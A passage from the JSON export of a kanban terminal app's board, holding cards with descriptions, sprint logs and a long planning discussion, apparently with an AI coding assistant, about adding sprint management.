sprint details interface can choose from a list of non completed tasks to include in the sprint. Yes cards can exist without a sprint as the plain list they are currently. uncompleted is only if the user makes the explicit choice not to start a new sprint after the rollover date. in such case manual creation of the subsequent sprint must occur. The user defines uncompleted. \n> 9 having a board selected. we press e to open edit project. in there we will have moved the current s, project settings. in the project settings panel we configure. duration, name list and prefix. We will replace the s with sprint details where the sprint itself can provide per sprint overrides for name list and prefix but not duration. Yes there is manual complete action. in the sprint details UI. \n> 11. The cards for the sprint can be toggled to replace the task list. for now we will use the key `t` to toggle between active sprint and the main card list. \n> 12. Tasks list will be toggled to show sprint tasks or not. Sprint details ui will handle all the rest. show list of sprints, select active sprint. stats and burndown we leave for the next iteration. \n> 12 For now, if sprint tasks are toggled just show sprint name next to the Tasks header, like Tasks - <sprint-name>. in unfiltered task list show the sprint name next to the task name, greyed out. \n> 14. All dates are in UTC internally. Display in local time. rollover in UTC. \n> 15. Yes.\n> 16. MVP: Basic CRUD for sprints, card assignment, viewing and all specified. think hard and keep planning with me\n\n---\n\nExcellent clarifications! Let me think through the complete user flows and identify remaining\n  questions:\n\n  🤔 Critical Flows to Clarify\n\n  Flow 1: Sprint Lifecycle Timing\n\n  User creates sprint:\n  - Status starts as Planning\n  - Start date: set at creation OR when activating (Planning → Active)?\n  - End date: calculated when? (start_date + duration)\n\n  My assumption: Start date set when activating, not at creation. Makes sense for planning\n  sprints in advance.\n\n  Flow 2: Active Sprint Semantics\n\n  You said \"multiple sprints allowed in parallel\" but also mentioned active_sprint_id\n  (singular). I think I understand now:\n  - Multiple sprints can have status Active (parallel work streams)\n  - But ONE sprint is \"selected active\" for filtering with t key\n  - active_sprint_id = currently selected sprint for filtering\n  - Need action to \"switch active sprint\" in sprint details UI\n\n  Confirm?\n\n  Flow 3: Sprint Rollover Details\n\n  On startup dialog: \"Sprint X ended. Start new sprint? (y/n)\"\n  - If YES: Create new sprint with status Active (not Planning), auto-rollover cards where\n  status != Done\n  - If NO: Those cards stay in ended sprint, user must manually move later\n\n  But: Multiple ended sprints? Show one dialog per sprint sequentially? Or one dialog listing\n  all?\n\n  Flow 4: Sprint Name Consumption\n\n  Sprint name list = [\"Cobra Kai\", \"Miyagi-Do\", \"Eagle Fang\"]\n  - Track usage with sprint_name_used_count: usize\n  - When creating sprint: consume next name from list\n  - If sprint_name_used_count >= sprint_names.len(): no name available, user must manually name\n  OR fallback to prefix-<number>\n\n  Question: Can user explicitly override auto-name even when names available?\n\n  Flow 5: Sprint Details UI Structure\n\n  Press s → SprintDetails mode:\n  ┌─ Sprint Details ───────────────────────┐\n  │ > sprint-1/Cobra Kai      [Active]     │\n  │   sprint-2/Miyagi-Do      [Planning]   │\n  │   sprint-3                [Completed]  │\n  └────────────────────────────────────────┘\n\n  Press Enter on selected sprint → SprintDetail mode:\n  ┌─ Sprint: sprint-1/Cobra Kai ───────────┐\n  │ Status: Active                         │\n  │ Dates: 2025-10-12 → 2025-10-26         │\n  │                                        │\n  │ Cards (3):                             │\n  │   ☐ Implement search                   │\n  │   ☐ Add vim motions                    │\n  │   ☑ Fix ordering bug                   │\n  │                                        │\n  │ Actions:                               │\n  │ e: edit name | c: complete | x: cancel │\n  │ a: add cards | r: remove cards         │\n  │ s: set as active | ESC: back           │\n  └────────────────────────────────────────┘\n\n  Questions:\n  - Add cards (a): show list of all unassigned cards, select with j/k/space?\n  - Remove cards (r): show cards in sprint, select to remove?\n  - Set as active (s): updates active_sprint_id, affects t toggle?\n\n  Flow 6: Board Settings Panel\n\n  Edit project (e) → navigate to panel 3 (settings):\n  ┌─ Project Settings [3] ─────────────────┐\n  │ Branch Prefix: task-                   │\n  │                                        │\n  │ Sprint Duration: 14 days               │\n  │ Sprint Prefix: sprint                  │\n  │                                        │\n  │ Sprint Names:                          │\n  │ > Cobra Kai                            │\n  │   Miyagi-Do                            │\n  │   Eagle Fang                           │\n  │                                        │\n  │ n: add name | d: delete name           │\n  │ e: edit field                          │\n  └────────────────────────────────────────┘\n\n  For MVP: Keep sprint names simple:\n  - Store as Vec<String>\n  - Edit via external JSON? OR\n  - Simple dialog: \"Add sprint name:\" (one at a time)\n  - Delete selected name with d\n\n  My suggestion: For MVP, manually edit JSON. Add TUI editor in next iteration.\n\n  Flow 7: Card List Filtering\n\n  Unfiltered (default):\n  Tasks\n    ☐ Fix ordering bug (sprint-1)\n    ☐ Add search (sprint-2)\n    ☐ Implement vim motions\n\n  Filtered to active sprint (t pressed, active = sprint-1):\n  Tasks - sprint-1/Cobra Kai\n    ☐ Fix ordering bug\n    ☐ Add another task\n\n  Question: Toggle state per board or global? Probably per board.\n\n  Flow 8: Manual Sprint Completion\n\n  In SprintDetail mode, press c:\n  ┌─ Complete Sprint: sprint-1 ────────────┐\n  │ Select cards to rollover (incomplete): │\n  │                                        │\n  │ ☑ Fix ordering bug                     │\n  │ ☑ Implement search                     │\n  │ ☐ Add vim motions (Done)               │\n  │                                        │\n  │ Space: toggle | ENTER: complete        │\n  └────────────────────────────────────────┘\n\n  Selected cards → stay in this sprint or move to new sprint?\n\n  My assumption:\n  - Cards NOT selected = considered complete (status updated to Done automatically?)\n  - Cards selected = stay in completed sprint, user manually moves later OR\n  - Cards selected = auto-move to active sprint?\n\n  Need clarification here.\n\n  📐 Proposed Domain Model\n\n  #[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]\n  pub enum SprintStatus {\n      Planning,\n      Active,\n      Completed,\n      Cancelled,\n  }\n\n  pub struct Sprint {\n      pub id: Uuid,\n      pub board_id: Uuid,\n      pub sprint_number: u32,\n      pub name: Option<String>,\n      pub prefix_override: Option<String>,\n      pub status: SprintStatus,\n      pub start_date: Option<DateTime<Utc>>,\n      pub end_date: Option<DateTime<Utc>>,\n      pub created_at: DateTime<Utc>,\n      pub updated_at: DateTime<Utc>,\n  }\n\n  // Board additions\n  pub sprint_duration_days: Option<u32>,\n  pub sprint_prefix: Option<String>,\n  pub sprint_names: Vec<String>,\n  pub sprint_name_used_count: usize,\n  pub next_sprint_number: u32,\n  pub active_sprint_id: Option<Uuid>,\n\n  // Card addition\n  pub sprint_id: Option<Uuid>,\n\n  🏗️ Implementation Phases\n\n  Phase 1: Board Settings Migration (smaller scope)\n\n  1. Add Settings panel to BoardFocus (1/2/3 navigation)\n  2. Move branch prefix setting to settings panel\n  3. Add sprint fields to Board domain\n  4. UI for editing sprint duration, prefix\n  5. Sprint names: JSON-only for MVP\n\n  Phase 2: Sprint Domain & Basic CRUD\n\n  1. Add Sprint struct, SprintStatus enum\n  2. Add sprints to App state\n  3. Add sprint_id to Card\n  4. Create sprint action (from SprintDetails UI)\n  5. List sprints (SprintDetails mode, press s)\n  6. View sprint (SprintDetail mode, Enter on sprint)\n  7. Edit sprint name (dialog)\n  8. Delete/cancel sprint\n\n  Phase 3: Card Assignment\n\n  1. Add cards to sprint (UI with card selection)\n  2. Remove cards from sprint\n  3. View cards in sprint detail\n  4. Show sprint name next to cards in main list\n\n  Phase 4: Sprint Activation & Toggle\n\n  1. Activate sprint (Planning → Active, set start/end dates)\n  2. Set active sprint (for filtering)\n  3. Toggle card filtering with t\n  4. Update card list rendering (filtered vs all)\n  5. Update header (show sprint name when filtered)\n\n  Phase 5: Sprint Lifecycle & Rollover\n\n  1. Check ended sprints on startup\n  2. Dialog per ended sprint\n  3. Auto-create new sprint with rollover\n  4. Manual complete sprint action\n  5. Choose cards to rollover in completion UI\n\n  ❓ Questions Before Final Plan\n\n  1. Start date: Set at creation or activation? (I assume activation)\n  2. Active sprint: One \"active\" per board for filtering, but multiple can have Active status?\n  3. Multiple ended sprints: One dialog each, shown sequentially?\n  4. Name consumption: Auto-consume next name, but allow manual override?\n  5. Sprint completion: What happens to cards user selects as \"incomplete\"? Stay in sprint? Move\n   to active sprint? User moves manually later?\n  6. Sprint names list: JSON editing only for MVP, or simple add/delete UI?\n\n  Please clarify these and I'll present the final implementation plan!\n\n  ---\nSprint Management Implementation Plan\n\nOverview\n\nAdd sprint functionality to kanban with MVP features: sprint CRUD, card assignment,\nfiltering, lifecycle management, and automatic rollover.\n\nPhase 1: Domain Model & Board Settings\n\nGoal: Add sprint data structures and move settings to Edit Project UI\n\n1.1 Domain Model\n\n- Add Sprint struct to kanban-domain/src/sprint.rs:\npub struct Sprint {\n    pub id: Uuid,\n    pub board_id: Uuid,\n    pub sprint_number: u32,\n    pub name: Option<String>,\n    pub prefix_override: Option<String>,\n    pub status: SprintStatus,\n    pub start_date: Option<DateTime<Utc>>,\n    pub end_date: Option<DateTime<Utc>>,\n    pub created_at: DateTime<Utc>,\n    pub updated_at: DateTime<Utc>,\n}\n- Add SprintStatus enum: Planning, Active, Completed, Cancelled\n- Export from kanban-domain/src/lib.rs\n\n1.2 Update Board Model\n\nAdd to Board struct:\n- sprint_duration_days: Option<u32>\n- sprint_prefix: Option<String>\n- sprint_names: Vec<String>\n- sprint_name_used_count: usize\n- next_sprint_number: u32\n- active_sprint_id: Option<Uuid>\n\nAdd serde defaults for deserialization.\n\n1.3 Update Card Model\n\nAdd to Card: sprint_id: Option<Uuid>\n\n1.4 Restructure Board Settings UI\n\n- Change BoardFocus enum: Name, Description, Settings\n- Move from BoardSettings mode → third panel in BoardDetail mode\n- Press 3 to navigate to settings panel\n- Move branch prefix setting to this panel\n- Add sprint duration, sprint prefix fields (editable with e)\n- Sprint names: JSON-only for MVP\n\n1.5 Remove Old Board Settings\n\n- Remove AppMode::BoardSettings\n- Remove AppMode::SetBranchPrefix\n- Consolidate into BoardDetail with 3 panels\n\nPhase 2: Sprint CRUD\n\nGoal: Create, list, view, edit, delete sprints\n\n2.1 App State\n\nAdd to App:\n- sprints: Vec<Sprint>\n- sprint_selection: SelectionState\n- active_sprint_index: Option<usize>\n- show_sprint_cards_only: bool (toggle state per board)\n\n2.2 App Modes\n\nAdd:\n- AppMode::SprintList (press s in normal mode, board selected)\n- AppMode::SprintDetail (Enter on sprint in list)\n- AppMode::CreateSprint (press n in SprintList)\n- AppMode::EditSprintName (press e in SprintDetail)\n\n2.3 Sprint List UI (s key)\n\n- Render list of sprints for active board\n- Show: sprint_number/name [Status]\n- j/k navigation, Enter to open detail\n- n: create new sprint (Planning status)\n- ESC: back to normal\n\n2.4 Sprint Detail UI (Enter on sprint)\n\n- Show sprint name, status, dates, card count\n- Actions:\n  - e: edit name (dialog)\n  - a: activate (Planning → Active, set dates)\n  - c: complete sprint\n  - x: cancel sprint\n  - d: delete sprint (only if Planning)\n  - s: set as active sprint (for filtering)\n  - +: add cards\n  - -: remove cards\n  - ESC: back to sprint list\n\n2.5 Create Sprint\n\n- Status: Planning\n- Name: auto-consume from sprint_names[sprint_name_used_count] if available\n- If no names: fallback to {prefix}-{sprint_number}\n- Increment next_sprint_number and sprint_name_used_count\n\nPhase 3: Card Assignment\n\nGoal: Assign cards to sprints\n\n3.1 Add Cards to Sprint (+ in SprintDetail)\n\n- Show list of cards where sprint_id == None\n- j/k navigation, Space to multi-select\n- Enter: assign selected cards to current sprint\n- Update card sprint_id and updated_at\n\n3.2 Remove Cards from Sprint (- in SprintDetail)\n\n- Show cards in current sprint\n- j/k navigation, Space to multi-select\n- Enter: unassign (set sprint_id = None)\n\n3.3 Display Cards in Sprint Detail\n\n- In SprintDetail view, show list of cards\n- Format: ☐ Card title [points]\n\nPhase 4: Card Filtering & Display\n\nGoal: Toggle between all cards and active sprint cards\n\n4.1 Toggle Filtering (t key in Normal mode)\n\n- Toggle show_sprint_cards_only boolean\n- Only when active board and active_sprint_id is set\n- Persist toggle state per board (store in Board? or App state?)\n\n4.2 Update Card List Rendering\n\n- When filtered: get_sorted_board_cards() filters by card.sprint_id == active_sprint_id\n- When unfiltered: show all cards\n\n4.3 Update Header\n\n- Filtered: \"Tasks - {sprint_name}\"                    \n- Unfiltered: \"Tasks\"\n\n4.4 Show Sprint Name on Cards (unfiltered view)        \n\n- When sprint_id.is_some(), append sprint name in gray \n- Format: ☐ Card title (sprint-1/Cobra Kai)            \n\nPhase 5: Sprint Lifecycle & Rollover                   \n\nGoal: Activate, complete, automatic rollover           \n\n5.1 Activate Sprint (a in SprintDetail, status = Planning)\n\n- Change status: Planning → Active\n- Set start_date = Utc::now()\n- Calculate end_date = start_date + sprint_duration_days\n- Only ONE sprint can be Active at a time (check and prevent if another active exists)\n\n5.2 Startup Check for Ended Sprints\n\n- On app start, find sprints where status == Active && end_date < Utc::now()\n- If any found, show dialog:\n┌─ Sprints Ended ────────────────┐\n│ ☑ sprint-1/Cobra Kai           │\n│ ☑ sprint-2/Miyagi-Do           │\n│                                │\n│ Start new sprints? (y/n)       │\n└────────────────────────────────┘\n- j/k navigation, Space to toggle checkboxes\n- y/Enter: create new sprints for selected\n- n/ESC: no action, user handles manually later\n\n5.3 Automatic Rollover (if \"yes\" to dialog)\n\n- For each selected sprint:\n  - Mark as Completed\n  - Get cards where sprint_id == ended_sprint.id && status != Done\n  - Create new sprint (status = Active, auto-name)\n  - Move incomplete cards to new sprint\n  - Set new sprint dates\n\n5.4 Manual Complete Sprint (c in SprintDetail)\n\n- Show list of cards in sprint with status != Done\n- Checkboxes for each card (default: all selected)\n- Space: toggle, Enter: complete\n- Selected cards: move to next Active sprint (or create new if none)\n- Unselected cards: stay in sprint, user moves manually later\n- Mark sprint as Completed\n\nPhase 6: Polish & Integration\n\nGoal: Help text, validation, error handling\n\n6.1 Help Text Updates\n\n- Add help for all new modes\n- Update keybindings in footer\n\n6.2 Validation\n\n- Prevent activating sprint if duration not set\n- Prevent multiple Active sprints\n- Validate dates\n\n6.3 Auto-save\n\n- Sprints auto-save to JSON along with boards/cards\n\nImplementation Order\n\n1. Phase 1 (domain + settings UI migration)\n2. Phase 2 (sprint CRUD, basic UI)\n3. Phase 3 (card assignment)\n4. Phase 4 (filtering, display)\n5. Phase 5 (lifecycle, rollover)\n6. Phase 6 (polish)\n\nKey Decisions Confirmed\n\n- ✅ One Active sprint at a time (for filtering)\n- ✅ Start dates set on activation, not creation\n- ✅ Sprint name auto-consumed from list, manual override possible\n- ✅ Rollover dialog shows all ended sprints with checkboxes\n- ✅ Manual completion: selected cards move to next sprint\n- ✅ Sprint names list: JSON editing for MVP\n- ✅ Settings moved to Edit Project UI panel 3\n\n2025-10-12 14:58\n---\n\nWe are starting a new section of this on a new day\n\nWhat I feel is missing at this point is a nice way to assign tasks to a sprint.\n\nI want to be able in the task list to select multiple tasks and then assign them to a sprint\n",
        "due_date": null,
        "id": "1c0b1752-53f1-4240-be75-0706662156df",
        "points": 4,
        "position": 10,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155908Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Add sprints",
        "updated_at": "2025-10-16T21:02:52.370276Z"
      },
      {
        "card_number": 328,
        "column_id": "db3aaee8-0f13-4afa-b000-592bac0bf364",
        "completed_at": null,
        "created_at": "2026-04-06T21:24:06.386507195Z",
        "description": "2026-04-06 23:25:11\n---\n\n```sh\n2026-04-06T21:23:50.403938Z  WARN kanban_tui::handlers::card_handlers: No active sprint set for filtering\n```\n\nPressing `t` without having a sprint set as active yields this trace / console error in the tui. should be a toast\n\n",
        "due_date": null,
        "id": "7fea7215-4827-4925-94a7-ebf9c094fa4e",
        "points": 1,
        "position": 10,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-06T21:25:20.550512588Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "No active sprint set for filtering toast",
        "updated_at": "2026-04-06T21:25:35.320121190Z"
      },
      {
        "card_number": 42,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-12T16:45:24.828497Z",
        "description": null,
        "due_date": null,
        "id": "5b43a7e3-b056-4370-882a-bdad4bb9e0ed",
        "points": 2,
        "position": 10,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2026-02-01T19:39:40.784563Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155913Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742977838Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784563Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989217026Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742978045Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989217303Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Assign task to sprint if created in sprint task list",
        "updated_at": "2026-04-04T23:33:28.989218018Z"
      },
      {
        "card_number": 91,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-24T16:50:26.487485Z",
        "description": "To reduce duplication we want to search for and display to the user at the moment of task creation so that he can see if the task already exists. the card list should be non interactive and have a title of `Existing Tasks`.. or similar\n",
        "due_date": null,
        "id": "56f6aa35-2958-45a2-84fe-4d0347d1c7ab",
        "points": 3,
        "position": 11,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:23.898916Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155918Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:34.327396Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:23.898917Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264759Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327397Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374986Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264759Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784500Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374987Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742992726Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784500Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989107785Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742992932Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989108053Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "in card creation show a list of cards fuzzily matching the proposed title",
        "updated_at": "2026-04-04T23:33:28.989109590Z"
      },
      {
        "card_number": 79,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-22T04:09:49.994777Z",
        "description": "Be able to add assignee to card\n\nDependencies\n\nUser domain model\nOption to grab user from git config\nList of users. Where are they defined?\n\nBe able to set the current user \n\n2025-10-31 18:50:49\n---\n\nTo the data model we make the addition of\n\n```JSON\n{\n  // ....\n  \"users\": User[];\n  // ...\n}\n```\n\nWhere user would look like\n\n```JSON\n{\n  \"name\": string;\n  \"email\": string;\n}\n```\n\nSounds easy enough.\n\nInterface to manage users?\n\nJust start with the user interface to add the current user.\n\nHow would the application know which user is the current user?\n\n",
        "due_date": null,
        "id": "3baa4c7a-1b7f-47da-9b7f-2ba593e9d9b7",
        "points": 3,
        "position": 12,
        "priority": "Medium",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-12-15T20:35:57.264710Z",
            "sprint_id": "98901eb9-91ab-43aa-8f82-b2a0b42c03cd",
            "sprint_name": "full-bowling",
            "sprint_number": 9,
            "started_at": "2025-12-04T21:30:07.245015Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374975Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264710Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784541Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374975Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742985933Z",
            "sprint_id": "3b98dc57-7c28-4724-9b80-e4dcb3421acd",
            "sprint_name": "a-new-year",
            "sprint_number": 11,
            "started_at": "2026-02-01T19:39:40.784542Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-04-04T23:33:28.989226441Z",
            "sprint_id": "0c3867d9-7ed8-4ac4-90c8-d7f8eebb17d0",
            "sprint_name": "moonshot",
            "sprint_number": 12,
            "started_at": "2026-03-25T00:22:42.742986140Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
            "sprint_name": "a-catchy-spring",
            "sprint_number": 13,
            "started_at": "2026-04-04T23:33:28.989226704Z",
            "status": "Planning"
          }
        ],
        "status": "Todo",
        "title": "Assignee for cards",
        "updated_at": "2026-04-04T23:33:28.989227646Z"
      },
      {
        "card_number": 25,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:54.150999Z",
        "created_at": "2025-10-11T20:53:06.269232Z",
        "description": "Add the date and time for when a task was marked as completed\n",
        "due_date": null,
        "id": "e3482cf7-c53a-4ce8-8c33-11e2cca3d87a",
        "points": 1,
        "position": 12,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155909Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Add completed when time to task",
        "updated_at": "2025-10-17T06:21:36.538347Z"
      },
      {
        "card_number": 27,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:54.835376Z",
        "created_at": "2025-10-11T21:42:14.741535Z",
        "description": "## TUI-Service layer disconnect\n\nThe TUI crate builds its own store registry and persistence stack independently from kanban-service. This causes real bugs:\n\n- SQLite feature gap (PR #204): added sqlite as default for kanban-cli and kanban-mcp, but TUI's indirect dependency through kanban-service didn't get it. Switching storage_backend json->sqlite in settings fails because the TUI registry only has the JSON factory.\n\n- Duplicated persistence orchestration: settings handler in kanban-tui manually calls migrate_store, validate_and_load_store, replace_store, resets selection, spawns save workers -- business logic that should live in the service layer.\n\n### Refactor goals\n\n1. Move storage backend switching (migrate/validate/reload) into kanban-service as a single operation\n2. TUI calls the service, not orchestrate persistence directly\n3. Eliminate the feature-flag disconnect -- the service owns which backends are available",
        "due_date": null,
        "id": "4cdf603d-2ba8-4bc0-9c19-a2a4531ccff6",
        "points": 4,
        "position": 13,
        "priority": "Medium",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2025-11-01T09:30:06.155910Z",
            "status": "Completed"
          }
        ],
        "status": "Done",
        "title": "Refactor, hunt for abstractions",
        "updated_at": "2026-04-03T16:27:03.529324249Z"
      },
      {
        "card_number": 92,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-24T16:53:18.872916Z",
        "description": "as the title states\n> highlight cards that have moved from the first column to the second but are not in the last and are missing points or priority\n",
        "due_date": null,
        "id": "3420b2cb-ab66-43ef-a222-87e62e703710",
        "points": 2,
        "position": 13,
        "priority": "Low",
        "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
        "sprint_logs": [
          {
            "ended_at": "2025-11-17T22:41:34.327389Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T17:01:19.623528Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264765Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:34.327390Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374913Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264765Z",
            "status": "Planning"
          },
          {
            "ended_at": null,
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374917Z",
            "status": "Completed"
          }
        ],
        "status": "Todo",
        "title": "highlight cards that have moved from the first column to the second but are not in the last and are missing points or priority",
        "updated_at": "2026-01-10T15:31:10.374919Z"
      },
      {
        "card_number": 31,
        "column_id": "289b85d8-a199-49fa-9d77-5ad892d87ef8",
        "completed_at": "2025-10-16T21:02:55.771078Z",
        "created_at": "2025-10-12T00:14:17.034422Z",
        "description": "Specifically needed. in progress\n\nWe want to start working on board columns\n\nDupe of task `KAN-7/add-column-definitions`\n",
        "due_date": null,
        "id": "6f66b041-2592-4e78-b348-cbc34c00c548",
        "points": 5,
        "position": 14,
        "priority": "Medium",
        "sprint_id": null,
        "sprint_logs": [],
        "status": "Done",
        "title": "Update status of a card - Board Columns",
        "updated_at": "2025-10-16T21:02:55.771078Z"
      },
      {
        "card_number": 47,
        "column_id": "591afb61-7289-46bf-ba07-21758afd44fe",
        "completed_at": null,
        "created_at": "2025-10-14T20:39:56.710360Z",
        "description": "Can we use something like treesitter to give meaningful MD syntax highlighting to card description\n",
        "due_date": null,
        "id": "5418bcd1-4b9a-4be9-aa12-6b43254def2b",
        "points": 2,
        "position": 14,
        "priority": "Low",
        "sprint_id": "3e05b869-e1d8-49b4-a0b9-7fdb668684f9",
        "sprint_logs": [
          {
            "ended_at": "2025-11-02T16:56:39.448934Z",
            "sprint_id": "737b04e6-52e2-4a40-bbaa-e2c9bcc84249",
            "sprint_name": "an-experience-to-remember",
            "sprint_number": 6,
            "started_at": "2025-11-01T09:30:06.155913Z",
            "status": "Active"
          },
          {
            "ended_at": "2025-11-17T22:41:18.759126Z",
            "sprint_id": "ce752be4-efce-40fe-bfa7-d0b313497feb",
            "sprint_name": "a-hallowed-week",
            "sprint_number": 7,
            "started_at": "2025-11-02T16:56:39.448934Z",
            "status": "Planning"
          },
          {
            "ended_at": "2025-12-15T20:35:57.264706Z",
            "sprint_id": "a61d4a55-5870-4493-9015-9854d8f583cf",
            "sprint_name": "progression-is-progress",
            "sprint_number": 8,
            "started_at": "2025-11-17T22:41:18.759131Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-01-10T15:31:10.374901Z",
            "sprint_id": "63d7a91a-cd0f-42fa-8fac-73ae015431f8",
            "sprint_name": "a-merry-christmas",
            "sprint_number": 10,
            "started_at": "2025-12-15T20:35:57.264706Z",
            "status": "Planning"
          },
          {
            "ended_at": "2026-02-01T19:39:40.784487Z",
            "sprint_id": "5fffb1a7-facb-4461-b0f1-13ec3e4d3f3a",
            "sprint_name": "an-eventful-october",
            "sprint_number": 1,
            "started_at": "2026-01-10T15:31:10.374903Z",
            "status": "Completed"
          },
          {
            "ended_at": "2026-03-25T00:22:42.742979258Z",
